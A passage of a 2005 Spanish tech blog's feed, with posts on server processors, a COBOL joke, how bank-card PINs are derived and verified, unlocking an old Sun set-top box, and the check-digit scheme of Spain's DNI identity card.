situaci&amp;oacute;n real es que no se prev&amp;eacute; que el proceso de fabricaci&amp;oacute;n masiva de Itanium con doble n&amp;uacute;cleo empiece antes de 2006.&lt;/p&gt;
&lt;p&gt;Es curioso ver el proceso de promoci&amp;oacute;n temprana de &lt;i&gt;Montecito&lt;/i&gt;, procesador que recordemos a&amp;uacute;n no est&amp;aacute; en el mercado. As&amp;iacute;, este procesador recibi&amp;oacute; el premio al mejor &lt;a href="http://www.hp.com/products1/servers/integrity/2004_Server_Processor_of_the_Year_article.pdf"&gt;procesador del a&amp;ntilde;o 2004&lt;/a&gt; entregados por &lt;a href="http://www.mdronline.com/mpr/"&gt;Microprocessor Report&lt;/a&gt; (&amp;iquest;&amp;iquest;??) y desde 2004, la informaci&amp;oacute;n competitiva de Itanium contra POWER proporcionada en la &lt;a href="http://h21007.www2.hp.com/dspp/files/unprotected/Itanium/sizingsuperheavys.pdf"&gt;p&amp;aacute;gina Web de HP&lt;/a&gt; compara contra &lt;i&gt;Montecito&lt;/i&gt;, y no contra la versi&amp;oacute;n de Itanium 2 que montan actualmente (y montaban entonces) sus m&amp;aacute;quinas.&lt;/p&gt;
&lt;p&gt;Las evoluciones de Itanium 2 en los &amp;uacute;ltimos tiempos han ido orientadas al incremento de los tama&amp;ntilde;os de la memoria cach&amp;eacute; y al paso a la fabricaci&amp;oacute;n en 90nm., con unos buenos resultados en rendimiento.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;font size="+2"&gt;AMD Opteron&lt;/font&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/opteron.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Hace apenas unas semanas sali&amp;oacute; al mercado la versi&amp;oacute;n de &lt;a href="http://multicore.amd.com/"&gt;doble n&amp;uacute;cleo&lt;/a&gt; de los procesadores &lt;a href="http://www.amd.com/us-en/Processors/ProductInformation/0,,30_118_8825,00.html"&gt;AMD Opteron&lt;/a&gt; (hasta 2.2 GHz), completando la evoluci&amp;oacute;n que AMD inici&amp;oacute; incorporando doble n&amp;uacute;cleo en sus procesadores para ordenadores de &amp;aacute;mbito dom&amp;eacute;stico y estaciones de trabajo.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.amd.com/"&gt;AMD&lt;/a&gt; est&amp;aacute; anunciando planes para integrar cuatro n&amp;uacute;cleos en sus pr&amp;oacute;ximas evoluciones del chip.&lt;/p&gt;
&lt;p&gt;Conviene resaltar que las ventas de sistemas basados en Opteron han sido excepcionales, superando en diez veces las ventas de sistemas basados en Itanium, aunque siempre las ventas de Opteron se han orientado al mercado de servidores de gama baja (hasta 4 procesadores, pocas veces m&amp;aacute;s de 8).&lt;/p&gt;
&lt;p&gt;Otro detalle destacable de los procesadores es que ejecutan el juego de instrucciones x86 (IA32) de forma nativa, siendo as&amp;iacute; compatibles con todo el software existente para x86 sin apenas p&amp;eacute;rdida de rendimiento, en contraste con Itanium, que ejecuta el juego de instrucciones IA32 mediante una capa de emulaci&amp;oacute;n, dando un rendimiento muy pobre.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;font size="+2"&gt;Intel Xeon&lt;/font&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/xeon.jpg" alt="Image hosted by Photobucket.com"&gt;&lt;/p&gt;
&lt;p&gt;Tras el lanzamiento hace ya alg&amp;uacute;n tiempo de la serie HyperThreading (varios hilos en un &amp;uacute;nico n&amp;uacute;cleo) de los procesadores &lt;a href="http://www.intel.com/products/processor/xeon/index.htm"&gt;Xeon&lt;/a&gt;, Intel lanz&amp;oacute; hace algunas semanas una versi&amp;oacute;n de Xeon (hasta 3.66 GHz) con &lt;a href="http://www.intel.com/technology/64bitextensions/"&gt;extensiones de 64 bits&lt;/a&gt; para el direccionamiento de memoria (que es la caracter&amp;iacute;stica m&amp;aacute;s destacable de los procesadores de 64 bits.). Intel no ha anunciado detalles de posibles extensiones a 64 bits del resto de los componentes del procesador. Los Xeon &lt;a href="http://www.intel.com/cd/ids/developer/asmo-na/eng/dc/64bit/index.htm"&gt;EMT64&lt;/a&gt; necesitan un sistema operativo de 64 bits para desplegar el potencial de sus nuevas extensiones.&lt;/p&gt;
&lt;p&gt;A principios de a&amp;ntilde;o Intel espera tener en el mercado la versi&amp;oacute;n de doble n&amp;uacute;cleo de los procesadores Xeon (del cual se han mostrado ya prototipos funcionales), siguiendo los pasos marcados por los procesadores &lt;a href="http://www.intel.com/products/processor/pentiumXE/index.htm"&gt;Pentium 4 Extreme Edition&lt;/a&gt; (tambi&amp;eacute;n de doble n&amp;uacute;cleo), actualmente a la venta y destinados a estaciones de trabajo e inform&amp;aacute;tica dom&amp;eacute;stica.&lt;/p&gt;
&lt;p&gt;M&amp;aacute;s all&amp;aacute; del doble n&amp;uacute;cleo, Intel prepara procesos de fabricaci&amp;oacute;n a 65 nm. Para finales de 2007.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-111824224010311848?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/111824224010311848/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=111824224010311848' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111824224010311848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111824224010311848'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/06/procesadores.html' title='Procesadores'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-111491029885901990</id><published>2005-05-01T03:16:00.000+02:00</published><updated>2006-11-09T12:20:16.230+01:00</updated><title type='text'>Coco</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/coco.jpg"&gt;&lt;/p&gt;
&lt;!-- &lt;p&gt;Os presento a Coco, nuevo miembro de la familia.&lt;/p&gt; --&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-111491029885901990?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/111491029885901990/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=111491029885901990' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111491029885901990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111491029885901990'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/05/coco.html' title='Coco'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-111329291555826016</id><published>2005-04-12T09:40:00.000+02:00</published><updated>2007-04-17T08:46:56.485+02:00</updated><title type='text'>El COBOL del futuro</title><content type='html'>&lt;p&gt;Llevo ya unos d&amp;iacute;as con un proyecto de migraci&amp;oacute;n de un entorno COBOL sobre &lt;a href="http://www.ibm.com/servers/eserver/zseries/zos/"&gt;IBM Z/OS&lt;/a&gt; a COBOL bajo UNIX, impulsado por los enormes costes que supone mantener un &lt;a href="http://www.ibm.com/servers/eserver/zseries/"&gt;IBM zSeries&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Cuando hablas de COBOL normalmente la gente piensa que es un lenguaje obsoleto, algo del pasado, pero para convencernos de lo contrario os recomiendo que volvais a ver la pel&amp;iacute;cula &lt;b&gt;Terminator&lt;/b&gt; (la primera parte) &amp;iquest;Recordais las imagenes del futuro en las que se ve, tras el holocausto nuclear, a guerrillas de hombres luchando contra las m&amp;aacute;quinas?&lt;p&gt;
&lt;p&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/t1-1.jpg"&gt;&amp;nbsp;&amp;nbsp; &lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/t1-2.jpg"&gt;&lt;br&gt;
Os pego un par de fotogramas para refrescar la memoria.&lt;/p&gt;
&lt;table&gt;&lt;tr&gt;
&lt;td valign="center"&gt;&lt;br&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/t1-cobol.jpg"&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Los hombres cuentan con avanzado armamento en su lucha por la supervivencia de la raza humana, armamento programado en... &amp;iexcl;COBOL! (leed la ampliaci&amp;oacute;n del fotograma en el que se ve la pantallita del fusil).&lt;br&gt;
As&amp;iacute; que ya sabeis, el destino de la humanidad est&amp;aacute; en manos del viejo COBOL, que jugar&amp;aacute; un papel primordial en la lucha contra Skynet y la rebeli&amp;oacute;n de las m&amp;aacute;quinas.
&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-111329291555826016?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/111329291555826016/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=111329291555826016' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111329291555826016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111329291555826016'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/04/el-cobol-del-futuro.html' title='El COBOL del futuro'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-111044862499476066</id><published>2005-03-10T10:18:00.000+01:00</published><updated>2007-04-17T08:48:24.210+02:00</updated><title type='text'>¿Dónde está mi PIN?</title><content type='html'>&lt;p&gt;El PIN de las tarjetas bancarias... &amp;iquest;Se almacena en la banda magn&amp;eacute;tica de la tarjeta? &amp;iquest;Se almacena en el servidor? Vamos a intentar explicar un poco como funciona el PIN, para salir completamente de dudas:&lt;/p&gt;
&lt;p&gt;Para empezar, el PIN no va ni almacenado en la tarjeta ni en el servidor, sino que se calcula a partir del llamado &lt;i&gt;n&amp;uacute;mero de identificaci&amp;oacute;n personal&lt;/i&gt; (PAM, que normalmente es el mismo n&amp;uacute;mero de la tarjeta de pago), siendo el proceso de generaci&amp;oacute;n el siguiente:
&lt;ol&gt;
 &lt;li&gt;El PAM se cifra con la clave DES de cifrado de PIN (en adelante PkPIN).&lt;/li&gt;
 &lt;li&gt;Como el resultado del cifrado del paso anterior es binario, se pasa a n&amp;uacute;mero mediante una tabla de decimalizaci&amp;oacute;n.&lt;/li&gt;
 &lt;li&gt;Truncamos el resultado de la decimalizaci&amp;oacute;n a 4 d&amp;iacute;gitos (el n&amp;uacute;mero obtenido tras la decimalizaci&amp;oacute;n era de 16 d&amp;iacute;gitos).&lt;/li&gt;
&lt;/ol&gt;
Y como por arte de magia el n&amp;uacute;mero resultante de este proceso es el PIN preasignado en nuestras tarjetas bancarias.&lt;/p&gt;
&lt;p&gt;Pero si el PIN se calcula a traves del PAM... &amp;iquest;Que pasa cuando cambio el PIN? Pues &amp;uacute;nicamente que se almacena en la tarjeta un desplazamiento del nuevo PIN respecto al original, quedando entonces el proceso de la siguiente forma:
&lt;ol&gt;
 &lt;li&gt;El PAM se cifra con PkPIN.&lt;/li&gt;
 &lt;li&gt;El resultado del cifrado se pasa a n&amp;uacute;mero mediante una tabla de decimalizaci&amp;oacute;n.&lt;/li&gt;
 &lt;li&gt;Restamos este n&amp;uacute;mero con el nuevo PIN seleccionado por el usuario (resta en m&amp;oacute;dulo 10).&lt;/li&gt;
 &lt;li&gt;Truncamos el resultado a 4 d&amp;iacute;gitos.&lt;/li&gt;
 &lt;li&gt;Almacenamos el resultado en la banda magn&amp;eacute;tica (y en el servidor central), a este n&amp;uacute;mero lo llamaremos desplazamiento&lt;/li&gt;
&lt;/ol&gt;
Ahora el proceso de verificaci&amp;oacute;n del PIN es el an&amp;aacute;logo:
&lt;ol&gt;
 &lt;li&gt;El PAM se cifra con PkPIN.&lt;/li&gt;
 &lt;li&gt;El resultado del cifrado se pasa a n&amp;uacute;mero mediante una tabla de decimalizaci&amp;oacute;n.&lt;/li&gt;
 &lt;li&gt;Restamos este n&amp;uacute;mero con el desplazamiento almacenado en la banda (resta en m&amp;oacute;dulo 10).&lt;/li&gt;
 &lt;li&gt;Truncamos el resultado a 4 d&amp;iacute;gitos y lo comparamos por el introducido por el usuario para la verificaci&amp;oacute;n&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Como podeis comprobar, el proceso es muy sencillo, y basa toda su seguridad en la protecci&amp;oacute;n del cifrado DES con PkPIN. Como esta clave est&amp;aacute; tanto el cajero autom&amp;aacute;tico como el servidor central, la comprobaci&amp;oacute;n puede hacerse en cualquier extremo (o en ambos). Cuando la comprobaci&amp;oacute;n se realiza en el servidor central, el cajero le env&amp;iacute;a (cifrado, claro) lo que se llama un &lt;i&gt;bloque PIN&lt;/i&gt; (PIN block), que es una combinaci&amp;oacute;n (XOR) del PAM y el PIN introducido; el formato de los bloques de PIN difiere seg&amp;uacute;n la norma que se emplee (ANSI X9.8; ISO 0, 1 &amp;oacute; 2; &amp;oacute; VISA 2 &amp;oacute; 3), pero esa es ya otra historia.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-111044862499476066?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/111044862499476066/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=111044862499476066' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111044862499476066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/111044862499476066'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/03/mi-pin.html' title='&amp;iquest;D&amp;oacute;nde est&amp;aacute; mi &lt;i&gt;PIN&lt;/i&gt;?'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-110796606028771413</id><published>2005-02-09T17:15:00.000+01:00</published><updated>2007-04-17T08:51:42.198+02:00</updated><title type='text'>Sun Information Appliance Suite</title><content type='html'>&lt;p&gt;
Hoy me he puesto a jugar con un viejo cacharro que ten&amp;iacute;a por casa, un prototipo de &lt;i&gt;Set Top Box&lt;/i&gt; de &lt;a href="http://es.sun.com/"&gt;Sun Microsystems&lt;/a&gt;, con el que se hicieron pruebas para una iniciativa de acceso a Internet desde casa con OpenBank de &lt;a href="https://www.ebankinter.com/"&gt;Bankinter&lt;/a&gt;, muy al estilo de las &lt;a href="http://www.intel.com/pressroom/archive/releases/in062200.htm"&gt;Intel Dot.Station&lt;/a&gt; que promocion&amp;oacute; el &lt;a href="http://www.bsch.es/"&gt;BSCH&lt;/a&gt; sin demasiado &amp;eacute;xito, solo que en este caso la iniciativa nunca lleg&amp;oacute; a ponerse en pr&amp;aacute;ctica.
&lt;/p&gt;
&lt;p&gt;
 &lt;img src="http://www.geocities.com/tomasgarciameras/images/diba-stb.png"&gt;
&lt;/p&gt;
&lt;p&gt;
La m&amp;aacute;quina en cuesti&amp;oacute;n es bastante simple, cuenta con salidas de video y audio anal&amp;oacute;gicos para conectar a un televisor, puertos serie y paralelo, PS/2 para teclado, salida VGA y un puerto Ethernet. Si abrimos la caja podemos ver un PowerPC de Motorola como procesador central, un m&amp;oacute;dem Rockwell (fabricado por Sun) y un controlador gr&amp;aacute;fico IGS CyberPro 2010.
&lt;/p&gt;
&lt;p&gt;
Al arrancar nos encontramos con el primer problema: &amp;iexcl;Pide contrase&amp;ntilde;a! Los pasos que he dado hasta dar con la dichosa contrase&amp;ntilde;a no han sido pocos...
&lt;/p&gt;
&lt;p&gt;
 &lt;img src="http://www.geocities.com/tomasgarciameras/images/diba-login.jpg"&gt;
&lt;/p&gt;
&lt;p&gt;
Primero conect&amp;eacute; una consola al puerto serie, pero no parece devolver nada, despu&amp;eacute;s intent&amp;eacute; lo propio con el puerto Ethernet, con igual resultado: nada. El puerto de red, aunque da enlace, no devuelve absolutamente nada (al menos nada que el &lt;i&gt;snoop&lt;/i&gt; de Solaris pueda detectar).&lt;br&gt;
Cuando empezaba ya a desesperarme, me fij&amp;eacute; que en la pegatina de la memoria flash hab&amp;iacute;a escrita una dirección MAC:
&lt;/p&gt;
&lt;p&gt;
 &lt;img src="http://www.geocities.com/tomasgarciameras/images/diba-mac.jpg"&gt;
&lt;/p&gt;
&lt;p&gt;
Por curiosidad, busqu&amp;eacute; en la web de la &lt;a href="http://standards.ieee.org/regauth/oui/oui.txt"&gt;IEEE&lt;/a&gt; a qui&amp;eacute;n pertenec&amp;iacute;a, y no era ni a Sun ni a &lt;a href="http://www.sampo.com.tw/english/"&gt;SAMPO&lt;/a&gt; (cuyo logotipo aparece en la carcasa), sino a Diba, empresa que fue &lt;a href="http://www.sun.com/970722/cover/"&gt;adquirida&lt;/a&gt; por Sun hace ya tiempo. Con esta informaci&amp;oacute;n hice rapidamente el primer intento: Contrase&amp;ntilde;a = "diba"... &amp;iexcl;Bingo! &amp;iexcl;Ya tenemos acceso!
&lt;/p&gt;
&lt;p&gt;
 &lt;img src="http://www.geocities.com/tomasgarciameras/images/diba-main.jpg"&gt;
&lt;/p&gt;
&lt;p&gt;
Desgraciadamente, parece que el puerto Ethernet esta inoperativo, ya que no hay manera de configurar el acceso a internet que no sea por modem. Por lo dem&amp;aacute;s, el software es el com&amp;uacute;n en este tipo de cacharros, navegador Web, correo y poco m&amp;aacute;s.
&lt;/p&gt;
&lt;p&gt;
 &lt;img src="http://www.geocities.com/tomasgarciameras/images/diba-mail.jpg"&gt;
 &lt;!-- &lt;img src="http://www.geocities.com/tomasgarciameras/images/diba-conn.jpg"&gt; --&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-110796606028771413?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/110796606028771413/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=110796606028771413' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/110796606028771413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/110796606028771413'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/02/sun-information-appliance-suite.html' title='Sun Information Appliance Suite'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-110781127604933872</id><published>2005-02-07T22:15:00.000+01:00</published><updated>2007-01-25T20:19:28.334+01:00</updated><title type='text'>Formato del DNI</title><content type='html'>&lt;p&gt;
 Desde hace ya alg&amp;uacute;n tiempo, en el reverso de los DNI tenemos, adem&amp;aacute;s del nombre (y apellidos) y el n&amp;uacute;mero junto a los habituales s&amp;iacute;mbolos de "menor que" (&amp;lt;) otros campos y n&amp;uacute;meros cuyo significado no est&amp;aacute; tan claro. Vamos a echarle un vistazo y a aclarar que es exactamente cada cosa con estas lineas de ejemplo de un DNI ficticio:
&lt;/p&gt;
&lt;p&gt;
&lt;code&gt;
 IDESP12345678Z3&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;br&gt;
 7501045M0907198ESP&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;6&lt;br&gt;
 GARCIA&amp;lt;JIMENEZ&amp;lt;&amp;lt;CLAWGRIP&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt&lt;br&gt;
&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
Primera linea:
&lt;/p&gt;
&lt;p&gt;
 &lt;code&gt;ID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt; = Tipo de documento (DNI)&lt;br&gt;
 &lt;code&gt;ESP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt; = Pa&amp;iacute;s emisor del documento (Espa&amp;ntilde;a)&lt;br&gt;
 &lt;code&gt;12345678Z&lt;/code&gt; = N&amp;uacute;mero del documento&lt;/br&gt;
 &lt;code&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt; = D&amp;iacute;gito de control del n&amp;uacute;mero del documento
&lt;/p&gt;
&lt;p&gt;
Segunda linea:
&lt;/p&gt;
&lt;p&gt;
 &lt;code&gt;750104&lt;/code&gt; = Fecha de nacimiento (1 de enero de 1975)&lt;br&gt;
 &lt;code&gt;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt; = D&amp;iacute;gito de control de la fecha de nacimiento&lt;br&gt;
 &lt;code&gt;M&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt; = Sexo (masculino)&lt;br&gt;
 &lt;code&gt;090719&lt;/code&gt; = Fecha de caducidad (19 de julio de 2009)&lt;br&gt;
 &lt;code&gt;8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt; = D&amp;iacute;gito de control de la fecha de caducidad&lt;br&gt;
 &lt;code&gt;ESP&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt; = Nacionalidad (espa&amp;ntilde;ola)&lt;br&gt;
 &lt;code&gt;6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt; = D&amp;iacute;gito de control (total)
&lt;/p&gt;
&lt;p&gt;
Tercera linea:
&lt;/p&gt;
&lt;p&gt;
 &lt;code&gt;GARCIA&amp;nbsp;&amp;nbsp;&lt;/code&gt; = Apellido&lt;br&gt;
 &lt;code&gt;JIMENEZ&amp;nbsp;&lt;/code&gt; = Apellido&lt;br&gt;
 &lt;code&gt;CLAWGRIP&lt;/code&gt; = Nombre
&lt;/p&gt;
&lt;p&gt;
 Es curioso que al preguntarle a la gente por el significado de los d&amp;iacute;gitos de control te suelen contestar con variadas gilipoyeces, las m&amp;aacute;s comunes son que se refieren al n&amp;uacute;mero de personas que tienen tu mismo n&amp;uacute;mero de DNI o que es el n&amp;uacute;mero de personas ya muertas que tuvieron este número.
&lt;/p&gt;
&lt;p&gt;
 Vamos a explicar como se calcula este d&amp;iacute;gito de control:
&lt;/p&gt;
&lt;p&gt;
 Primero le asignamos un peso a cada caracter segun la siguiente tabla:
&lt;/p&gt;
&lt;p&gt;
 &lt;code&gt;
&amp;nbsp;A&amp;nbsp;&amp;nbsp;B&amp;nbsp;&amp;nbsp;C&amp;nbsp;&amp;nbsp;D&amp;nbsp;&amp;nbsp;E&amp;nbsp;&amp;nbsp;F&amp;nbsp;&amp;nbsp;G&amp;nbsp;&amp;nbsp;H&amp;nbsp;&amp;nbsp;I&amp;nbsp;&amp;nbsp;J&amp;nbsp;&amp;nbsp;K&amp;nbsp;&amp;nbsp;L&amp;nbsp;&amp;nbsp;M&lt;br&gt;
  10 11 12 13 14 15 16 17 18 19 20 21 22
&lt;br&gt;&lt;br&gt;
&amp;nbsp;N&amp;nbsp;&amp;nbsp;O&amp;nbsp;&amp;nbsp;P&amp;nbsp;&amp;nbsp;Q&amp;nbsp;&amp;nbsp;R&amp;nbsp;&amp;nbsp;S&amp;nbsp;&amp;nbsp;T&amp;nbsp;&amp;nbsp;U&amp;nbsp;&amp;nbsp;V&amp;nbsp;&amp;nbsp;W&amp;nbsp;&amp;nbsp;X&amp;nbsp;&amp;nbsp;Y&amp;nbsp;&amp;nbsp;Z&lt;br&gt;
  23 24 25 26 27 28 29 30 31 32 33 34 35
 &lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
 Los caracteres num&amp;eacute;ricos tienen su mismo valor como peso (y el "&amp;lt;" vale 00):
&lt;/p&gt;
&lt;p&gt;
 &lt;code&gt;
  &amp;nbsp;0&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;3&amp;nbsp;&amp;nbsp;4&amp;nbsp;&amp;nbsp;5&amp;nbsp;&amp;nbsp;6&amp;nbsp;&amp;nbsp;7&amp;nbsp;&amp;nbsp;8&amp;nbsp;&amp;nbsp;9&lt;br&gt;
  00 01 02 03 04 05 06 07 08 09
 &lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
 Teniendo los valores num&amp;eacute;ricos de los caracteres, los vamos multiplicando para obtener su peso definitivo: Si su posici&amp;oacute;n dentro del campo (empezando por 1) es m&amp;uacute;ltiplo de 3 se queda igual (x1), si es m&amp;uacute;ltiplo de 2 (pero no de 3) multiplicamos por tres (x3) y al resto los multiplicamos por siete (x7). Para obtener el peso total del campo sumamos los pesos definitivos de todos sus caracteres.
&lt;/p&gt;
&lt;p&gt;
 Ejemplo (fijaos en que el valor num&amp;eacute;rico de "Z" es 35):
&lt;/p&gt;
&lt;p&gt;
 &lt;code&gt;
  12345678Z = 1x7 + 2x3 + 3x1 + 4x7 + 5x3 + 6x1 + 7x7 + 8x3 + 35x1 = 173
 &lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
 Teniendo el peso num&amp;eacute;rico total del campo (en nuestro ejemplo es 173) simplemente calculamos el m&amp;oacute;dulo respecto de 10 y ya tenemos el d&amp;iacute;gito de control, que en nuestro ejemplo ser&amp;iacute;a 173 % 10 = &lt;b&gt;3&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;
 Una observaci&amp;oacute;n importante para obtener el d&amp;iacute;gito de control total: Hay que excluir los campos de sexo y nacionalidad.
&lt;/p&gt;
&lt;p&gt;
 Y por &amp;uacute;ltimo, comentar un par de cosas:&lt;br&gt;
Primero que las expediciones de n&amp;uacute;meros de DNI sigue un sistema de rangos preasignados, normalmente por comisar&amp;iacute;a; si tenemos un n&amp;uacute;mero bajo no es que nos haya tocado el n&amp;uacute;mero de un muerto, sino que se nos ha asignado un n&amp;uacute;mero de un rango que, vete t&amp;uacute; a saber porqu&amp;eacute;, no se hab&amp;iacute;a gastado a&amp;uacute;n, a pesar de llevar asignado alg&amp;uacute;n tiempo. No hay dos DNI con el mismo n&amp;uacute;mero, ni de muertos ni de vivos.&lt;br&gt;
Y segundo que el formato de estas lineas de nuestro DNI, al igual que las de los pasaportes, est&amp;aacute;n normalizadas por &lt;a href="http://www.icao.int/"&gt;ICAO&lt;/a&gt; y por &lt;a href="http://www.iso.ch/"&gt;ISO&lt;/a&gt;, aunque desgraciadamente los documentos con las especificaciones son de pago en ambos sitios.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-110781127604933872?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/110781127604933872/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=110781127604933872' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/110781127604933872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/110781127604933872'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/02/formato-del-dni.html' title='Formato del DNI'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image 